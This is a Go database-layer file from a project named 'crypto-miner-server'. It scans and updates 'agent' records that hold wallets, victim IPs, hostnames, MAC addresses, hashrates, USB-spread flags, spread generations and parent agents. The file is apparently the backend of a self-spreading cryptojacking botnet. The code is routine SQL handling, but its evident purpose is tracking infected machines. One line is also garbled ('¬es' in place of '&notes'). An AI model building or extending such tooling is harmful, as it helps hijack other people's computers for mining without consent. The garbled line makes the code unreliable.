package db import ( "database/sql" "encoding/json" "log" "strings" "crypto-miner-server/internal/models" ) func decodeTags(raw string) []string { raw = strings.TrimSpace(raw) if raw == "" || raw == "[]" { return []string{} } var tags []string if err := json.Unmarshal([]byte(raw), &tags); err != nil { log.Printf("[db] decodeTags: corrupt tags JSON ignored (%v): %q", err, raw) return []string{} } return tags } func encodeTags(tags []string) string { if len(tags) == 0 { return "[]" } b, _ := json.Marshal(tags) return string(b) } func (d *Database) scanAgent(row interface { Scan(dest ...any) error }) (*models.Agent, error) { a := &models.Agent{} var notes, tagsRaw string var usbSpread int var gpuMinerActive int var graftStrain, graftTier sql.NullString var graftApproved sql.NullString err := row.Scan( &a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress, &a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign, &a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive, &a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain, &graftStrain, &graftTier, &graftApproved, ) if err != nil { return nil, err } a.Notes = notes a.Tags = decodeTags(tagsRaw) a.USBSpread = usbSpread == 1 if gpuMinerActive == 1 { active := true a.GPUMinerActive = &active } a.GraftSourceStrain, a.GraftTier, a.GraftApprovedAt = scanGraftFields(graftStrain, graftTier, graftApproved) return a, nil } const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active, parent_agent_id, spread_generation, spread_strain, graft_source_strain, graft_tier, graft_approved_at` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) return err }